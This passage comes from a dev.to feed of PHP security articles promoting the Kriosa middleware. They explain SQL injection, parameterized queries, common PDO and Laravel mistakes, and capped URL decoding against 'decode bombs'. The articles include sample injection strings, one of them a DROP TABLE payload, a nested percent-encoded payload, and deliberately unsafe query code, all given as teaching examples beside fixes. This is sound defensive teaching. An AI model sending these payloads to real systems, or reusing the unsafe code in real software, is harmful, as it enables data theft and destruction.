&lt;/div&gt;



&lt;p&gt;Clean. Expected. Safe.&lt;br&gt;
When an attacker sends id=1 OR 1=1, the query becomes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which returns every row in the users table. Every single one.&lt;br&gt;
The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL because they arrived as the same string. The input and the command are mixed together. That is the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Parameterized Queries Actually Do&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries also called prepared statements solve this by separating the SQL command from the user input completely.&lt;br&gt;
Here is the same query written correctly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What happens here is fundamentally different from string concatenation.&lt;br&gt;
The SQL command SELECT * FROM users WHERE id =&amp;nbsp;? is sent to the database first, as a complete instruction with a placeholder. The database parses it, understands its structure, and prepares to execute it.&lt;br&gt;
Then the user input whatever $_GET['id'] contains is sent separately as data. The database treats it as a value to fill the placeholder, not as part of the SQL command itself.&lt;/p&gt;

&lt;p&gt;So when an attacker sends 1 OR 1=1, the database receives it as a literal string value to compare against the id column not as SQL to execute. The injection attempt becomes meaningless. The query looks for a row where id equals the literal string "1 OR 1=1" finds nothing and returns an empty result. No data leaks. No error. No attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Developers Get Wrong&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries sound simple. In practice, developers make four common mistakes that leave them thinking they are protected when they are not.&lt;br&gt;
&lt;strong&gt;Mistake 1&lt;/strong&gt; - Mixing parameterized queries with string concatenation&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is NOT safe&lt;/span&gt;
&lt;span class="nv"&gt;$table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'table'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$table&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The id parameter is protected. The table name is not. An attacker sends table=users; DROP TABLE users-- and the table name gets concatenated directly into the SQL command.&lt;br&gt;
Parameterized queries protect values. They do not protect identifiers like table names and column names. Those must be validated against a whitelist separately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2&lt;/strong&gt; - Using emulated prepares without knowing it&lt;br&gt;
PDO has two modes: real prepared statements and emulated prepared statements. Emulated prepares are the default in some configurations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Disable emulated prepares&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_EMULATE_PREPARES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Native prepared statements are generally preferred because the database receives the SQL statement and parameters separately. Emulated prepares still protect against SQL injection in normal use, but native prepares avoid certain edge cases and more closely match the database's own parsing behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3&lt;/strong&gt; - Assuming Laravel's ORM makes every query safe&lt;br&gt;
Laravel's Eloquent ORM uses parameterized queries by default. But raw query methods bypass this protection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe - Eloquent uses parameterized queries&lt;/span&gt;
&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// NOT safe - raw query with string concatenation&lt;/span&gt;
&lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe - raw query with parameter binding&lt;/span&gt;
&lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using an ORM does not automatically make every database query safe. Raw query methods require the same discipline as plain PDO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4&lt;/strong&gt; - Thinking input validation replaces parameterized queries&lt;br&gt;
Some developers validate input checking that an id is numeric, for example and believe this makes string concatenation safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is still dangerous&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;is_numeric&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Input validation reduces the attack surface. It does not eliminate it. Edge cases in validation logic, type juggling in PHP, and unexpected input formats can all bypass validation in ways that would not bypass a parameterized query.&lt;/p&gt;

&lt;p&gt;Parameterized queries and input validation are complementary. Validation rejects obviously bad input early. Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. Use both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Complete Safe Pattern&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is what correct SQL query handling looks like in PHP using PDO&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Establish connection with emulated prepares disabled&lt;/span&gt;
&lt;span class="nv"&gt;$pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'mysql:host=localhost;dbname=myapp;charset=utf8mb4'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_EMULATE_PREPARES&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_ERRMODE&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ERRMODE_EXCEPTION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_DEFAULT_FETCH_MODE&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FETCH_ASSOC&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Validate input type where appropriate&lt;/span&gt;
&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;INPUT_GET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILTER_VALIDATE_INT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Use parameterized query&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT id, username, email FROM users WHERE id = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in Laravel using Eloquent&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe - always use Eloquent methods or parameter binding&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Or with query builder binding&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;first&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Never do this&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM users WHERE id = "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Where Detection Still Matters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. But they do not protect against.&lt;/p&gt;

&lt;p&gt;Queries written incorrectly by a developer who forgot to use them&lt;br&gt;
Legacy code in a codebase you inherited&lt;br&gt;
Third-party packages with their own database queries&lt;br&gt;
Second-order injection where stored data is later used unsafely&lt;/p&gt;

&lt;p&gt;This is why detection still has a role. Not as the primary defense as the safety net that catches what prevention misses.&lt;br&gt;
A security layer that monitors incoming requests, flags suspicious patterns, and alerts you when injection attempts are arriving gives you visibility into attacks that might find a gap in your prevention layer. You fix the gap. The detection layer told you where to look.&lt;br&gt;
Prevention first. Detection as the safety net. That combination is what genuine defense looks like.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the fourth article in a series on PHP application security:&lt;br&gt;
&lt;strong&gt;Article 1:&lt;/strong&gt; What your PHP logs actually look like during a SQL injection attack&lt;br&gt;
&lt;strong&gt;Article 2:&lt;/strong&gt; Why URL encoding can break PHP security checks&lt;br&gt;
&lt;strong&gt;Article 3:&lt;/strong&gt; The decode bomb problem why unlimited URL decoding can be its own vulnerability&lt;br&gt;
&lt;strong&gt;Article 4:&lt;/strong&gt; This article parameterized queries and what developers get wrong about them&lt;/p&gt;

&lt;p&gt;Each one builds on the last. Detection, normalization, resource safety, prevention. The full picture of what it takes to defend a PHP application in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Direction Behind Kriosa&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One of the design principles behind Kriosa is that detection and prevention work together not as alternatives but as layers. The middleware layer monitors and flags. Your application layer prevents with parameterized queries and input validation. The XAI dashboard explains what the detection layer found so you can close gaps in the prevention layer faster.&lt;/p&gt;

&lt;p&gt;Neither layer replaces the other. Together they cover what either would miss alone.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
&amp;nbsp;Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sleep better we're awake - kriosa&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>laravel</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>How do you handle URL decoding in PHP security checks without opening a decode bomb vulnerability? Looping urldecode() until stable fixes double encoding but risks excessive CPU on crafted payloads. How do you cap it safely?</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 10 Jul 2026 07:59:49 +0000</pubDate>
      <link>https://dev.to/kriosa/how-do-you-handle-url-decoding-in-php-security-checks-without-opening-a-decode-bomb-163d</link>
      <guid>https://dev.to/kriosa/how-do-you-handle-url-decoding-in-php-security-checks-without-opening-a-decode-bomb-163d</guid>
      <description></description>
      <category>discuss</category>
      <category>performance</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>The Decode Bomb Problem — Why Unlimited URL Decoding Can Be Its Own Vulnerability</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 10 Jul 2026 07:57:25 +0000</pubDate>
      <link>https://dev.to/kriosa/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-22lb</link>
      <guid>https://dev.to/kriosa/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-22lb</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
Fixing one security gap without understanding the side effects can open another one.&lt;br&gt;
In my last article I wrote about URL encoding and why PHP security checks often miss encoded attack payloads. A developer read it and asked a question worth exploring carefully.&lt;/p&gt;

&lt;p&gt;“If a single urldecode() gets beaten by double encoding, then looping the decode until it stops changing feels like the obvious next move — but doesn’t that open you up to a decode bomb where an attacker sends deeply nested encoding just to burn CPU?”&lt;/p&gt;

&lt;p&gt;It is a valid concern worth exploring in depth.&lt;/p&gt;

&lt;p&gt;What I Mean by a “Decode Bomb”&lt;/p&gt;

&lt;p&gt;I am using the term decode bomb to describe a specific scenario: an attacker crafts a request with deeply nested URL encoding specifically to make your server perform excessive decoding work on every request.&lt;/p&gt;

&lt;p&gt;It is similar in concept to a ZIP bomb where a small compressed file expands into something enormous but applied to URL decoding instead of file decompression. It is not a widely standardized security term, but the pattern it describes is real. Here is how it works in practice. If your code loops urldecode() until the string stops changing, an attacker can send a deeply nested encoded payload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%25252525252527
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is what happens on each pass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pass 1: %25252525252527  →  %252525252527
Pass 2: %252525252527    →  %2525252527
Pass 3: %2525252527      →  %25252527
Pass 4: %25252527        →  %252527
Pass 5: %252527          →  %2527
Pass 6: %2527            →  %27
Pass 7: %27              →  '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seven passes to decode one character. Your server performs unnecessary decoding work on every request like this. In practice, the impact depends on your implementation. A single request is unlikely to cause problems, but repeated requests against code that performs excessive decoding can unnecessarily consume CPU time. You fixed the encoding blind spot. You potentially opened a resource issue in the same line of code.&lt;/p&gt;

&lt;p&gt;Why This Is Easy to Miss&lt;/p&gt;

&lt;p&gt;This is not the kind of vulnerability that shows up in standard penetration tests. It is the kind that gets discovered in production when someone notices their server is running slower than expected under unusual traffic patterns.&lt;/p&gt;

&lt;p&gt;The attacker does not need to extract data. They do not need to bypass authentication. They just need your server to spend more time processing their requests than it spends serving legitimate users.&lt;/p&gt;

&lt;p&gt;For a solo developer or small agency running client sites with limited server resources, sustained unusual traffic patterns like this can degrade performance noticeably.&lt;/p&gt;

&lt;p&gt;The Safe Solution: Cap the Decode Passes&lt;/p&gt;

&lt;p&gt;The fix requires a deliberate decision: choose a maximum number of decode passes and never exceed it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three passes is a reasonable upper bound in many applications, but the right limit depends on your architecture, framework, and threat model. The loop also stops early if the string stops changing so a single-encoded payload only runs one pass, not three.&lt;/p&gt;

&lt;p&gt;Single encoding is the most common attack evasion technique. Double encoding is the next layer. Beyond that, deeply nested encoding is in territory that your web server, reverse proxy, or PHP framework should already be handling upstream before the request reaches your application code.&lt;/p&gt;

&lt;p&gt;An Important Note Before You Add This&lt;/p&gt;

&lt;p&gt;Before adding custom decoding logic to your application, understand how your web server, reverse proxy, framework, and PHP itself already normalize incoming requests. Multiple layers of decoding can introduce both security and correctness issues.&lt;/p&gt;

&lt;p&gt;If you are using Laravel, remember that request data is already normalized in various ways before your application uses it. Understand where URL decoding has already occurred before adding another decoding layer.&lt;/p&gt;

&lt;p&gt;Understand your full request stack before adding normalization code.&lt;/p&gt;

&lt;p&gt;Why Pattern Matching Has Limits&lt;br&gt;
Even with capped URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.&lt;/p&gt;

&lt;p&gt;Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
